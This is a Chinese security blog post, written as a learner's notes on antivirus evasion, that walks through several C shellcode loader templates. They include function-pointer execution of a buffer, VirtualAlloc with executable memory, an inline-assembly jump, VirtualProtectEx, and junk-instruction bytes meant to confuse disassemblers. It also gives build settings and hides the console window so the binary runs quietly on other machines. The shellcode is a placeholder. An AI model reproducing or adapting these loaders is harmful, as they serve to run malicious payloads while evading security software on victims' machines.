照者Tide免杀那个文档学的,C基本不会,学起来蛮吃力的,因此在文章中我也会写详细一点,在学免杀过程中学习一下相关语言。
WinApi文档:http://www.yfvb.com/help/win32sdk/
问题:编译后的exe本地成功运行,其他PC报VCRUNTIME140D.dll和ucrtbased.dll缺失,安装相应dll后,报无法正常启动0xc000007b
解决方案:
1.VS项目工程中,设置 属性 ->配置属性 -> C/C++ ->代码生成 ->运行库。Release选择多线程(/MT),Debug选择 多线程(/MTd)。
2.编译Release版本,且注意自己的shellcode是32还是64的,选择相应编译器进行编译
明天记得改
unsigned char buf[] = "shellcode";
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//不显示黑窗
main()
{
((void(*)()) &buf)();
//void(*)() 是一种类型,该类型指向带有不确定参数且不返回任何值的函数指针
//(void(*)(void)) 是类型转换
//(void(*)(void)) & buf 强制转换buf为上述类型
//((void(*)(void)) & buf)() 调用函数
//简而言之:将buf视为函数的指针,然后调用这个函数,&buf()
//个人理解:回调函数传地址进去,就是为了执行这段地址的代码,它不一定是个函数,执行就完事了(直接jump过去了)
}
#include <windows.h>
//引入windows api接口
int main()
{
unsigned char Scode[] = "shellcode";
//申请内存(权限为rwx)
void* exec = VirtualAlloc(NULL, sizeof(Scode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将shellcode复制进申请的内存中
RtlMoveMemory(exec, Scode, sizeof(Scode));
//执行shellcode
((void(*)())exec)();
return 0;
}
VirtualAlloc(ipAddress,dwSize,flAllocationType,flProtect)
flAllocationType:指定分配类型,可以指定以下进行任意组合
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
#include <windows.h>
#include <stdio.h>
unsigned char Scode[] = "shellcode";
void main() {
DWORD dwOldProtect = NULL;
VirtualProtectEx(GetCurrentProcess(), (LPVOID)Scode, sizeof(Scode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
//将shellocde的内存改为可执行
((void(WINAPI*)(void)) & Scode)();
}
花指令一般是放在NOT分支中,反汇编解释器一般优先解释NOT分支,而我们要执行的则是在TRUE中,附大哥和我说的聊天记录
文中示例部分
32位
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main() {
__asm
{
mov eax, offset shellcode
_emit 0xFF
_emit 0xE0
}
}
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/739/
最后修改时间:2022-08-07 23:23:47
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!